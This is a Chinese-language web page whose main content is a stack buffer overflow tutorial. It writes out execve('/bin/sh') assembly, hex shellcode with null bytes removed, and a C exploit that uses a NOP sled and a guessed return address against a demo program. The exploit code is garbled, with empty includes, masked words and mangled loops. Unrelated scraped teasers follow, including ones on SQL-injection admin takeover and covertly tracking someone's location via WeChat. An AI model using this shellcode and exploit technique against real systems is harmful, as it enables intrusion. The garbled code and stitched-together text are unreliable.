利用call压入下一条语句的返回地址,把数据作为下一条指令我们就可以达到目的。
Jmp CALL
Popl %esi ‘利用CALL弹出压入的下一条语句的地址,其实就是我们构造的字符串的地址
movb $0x0,0x7(%esi) ‘输入0的字符串为结尾
mov %esi,0X8 (%esi) ‘构造NAME数组,放如字串的地址作为NAME[0]
mov $0x0,0xc(%esi) ‘构造NAME[1]为NULL, NAME[0]为4位地址,所以偏移为0xc
mov %esi,%ebx ‘设置数据段开始的地址
leal 0x8(%esi),%ecx ‘设置参数1
leal 0xc(%esi),%edx ‘设置参数2
mov $0xb,%eax ‘设置调用号
int $0x80 ‘调用
mov $0x0,%ebx
mov $0x1,%eax
int $0x80
Call popl
.string \"/bin/sh\" 然后通过C编译器编写MYSHELLA *** .C
运行出错,原因代码段不允许进行修改,但是对于我们溢出是可以的,原因在于溢出是在数据段运行的, 通过GDB查看16进制码,倒出ASCII字符写出TEST.C程序来验证MYSHELLA *** 可以运行
ret = (int *)&ret + 2; //ret 等于main()执行完后的返回系统的地址
//(+2是因为:有pushl ebp ,否则加1就可以了。) 但是在堆栈溢出中,关键在于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时 候,以"\0" 为字符串结尾。遇\0就结束了写xx作。Myshell中有0X00的字符存在。
把所有赋予0的xx作用异或或者MOV已知为0的寄存器赋值来完成
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\" 汇编得出的
shellcode =
"\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
我们开始来写一个攻击DEMO溢出的例子
1:把我们的shellcode提供给他,让他可以访问shellcode。
2:修改他的返回地址为shellcode的入口地址。 对于strcpy函数,我们要知道被溢出的缓冲的的地址。对于xx作系统来说,一个shell下的每一个程序的 堆栈段开始地址都是 相同的 。我们需要内部写一个调用来获得运行时的堆栈起始地址,来知道了目标程 序堆栈的开始地址。
(所有C函数的返回值都放在eax 寄存器 里面):
unsigned long get_sp(void) {
__a *** __("movl %esp,%eax");
}
buffer相对于堆栈开始地址的偏移,对于DEMO我们可以计算出来,但对于真正有溢出毛病的程序我们在没 有源代码和去跟踪汇编是无法计算出的,只能靠猜测了。不过,一般的程序堆栈大约是 几K 左右。为了 提高命中率,增加溢出的SHELLCODE的长度和NOP指令,NOP指令的机器码为0x90。 同时在我们的程序中允 许输入参数来调节溢出点。
#include
#include
#define OFFSET 0
#define RET_POSITION 120
#define RANGE 20
#define NOP 0x90 char shellcode[]=
"\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void)
{
__a *** __("movl %esp,%eax");
} main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i; if(argc>1)
offset=atoi(argv[1]); sp=get_sp();
addr=sp-offset; for(i=0;i *((long *)&(buff[i]))=addr; for(i=0;i buff[i]=NOP; ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i *(ptr++)=shellcode[i];
buff[bsize-1]="\0"
for(i=0;i<132;i++)
printf("0x%08x\n",buff[i]);
printf("Jump to 0x%08x\n",addr); execl("./demo","demo",buff,0);
}
注意,如果发现溢出允许的空间不足够SHELLCODE的代码,那么可以把地址放到前面去,SHELLCODE放在地 址的后面,程序进行一些改动,原理一致
Powered by: vBulletin Version 3.0.2简略的说,毫无技术含量...管理员暗码破不出,接着 update 了管理员暗码登录进去。 作业进程4、敞开数据库的xp_cmdsh...
微信大家应该都很熟悉吧,但是上面产生的大量聊天记录很多关于生活,关于工作的比较隐私的数据,我们很想要彻底删除掉,但是怎样才能做到神不知,鬼不觉的百分之百的彻底删除掉呢,接下来这几种方法学会之后觉对可以...
现在微信的应用功能可以说越来越多了,当然,很多人喜欢它的方面仍然是一种沟通工具操作。 微信定位别人不被发现 1.事实上,这款应用程序在沟通方面有自己独特的优势 2.你知道它的定位系统吗?微信定位...
c1驾照能开什么车好(你了解C1驾驶证都能开什么车么) c1驾照能开什么车好(你了解C1驾驶证都能开什么车么)依据《机动车驾驶证申领和使用规定》,C1驾照准驾范畴为: 1、总品质不超过 4...
柳宗元是哪个朝代的(唐代文学家柳宗元生平简介) 柳宗元生于公元773年,卒于公元819年,共享年47岁。以现在的地名来说,柳宗元的祖籍为山西永济,柳宗元出生在一个官宦之家,父亲曾担任侍御史等职位。...
本文导读目录: 1、类似黑客帝国的电影 2、求几本类似黑客帝国的好看的科幻片~ 3、求一些经典硬科幻电影(像黑客帝国这样的) 4、请推荐一些类似“黑客帝国”那类动画片,看清楚哦,是动画版的...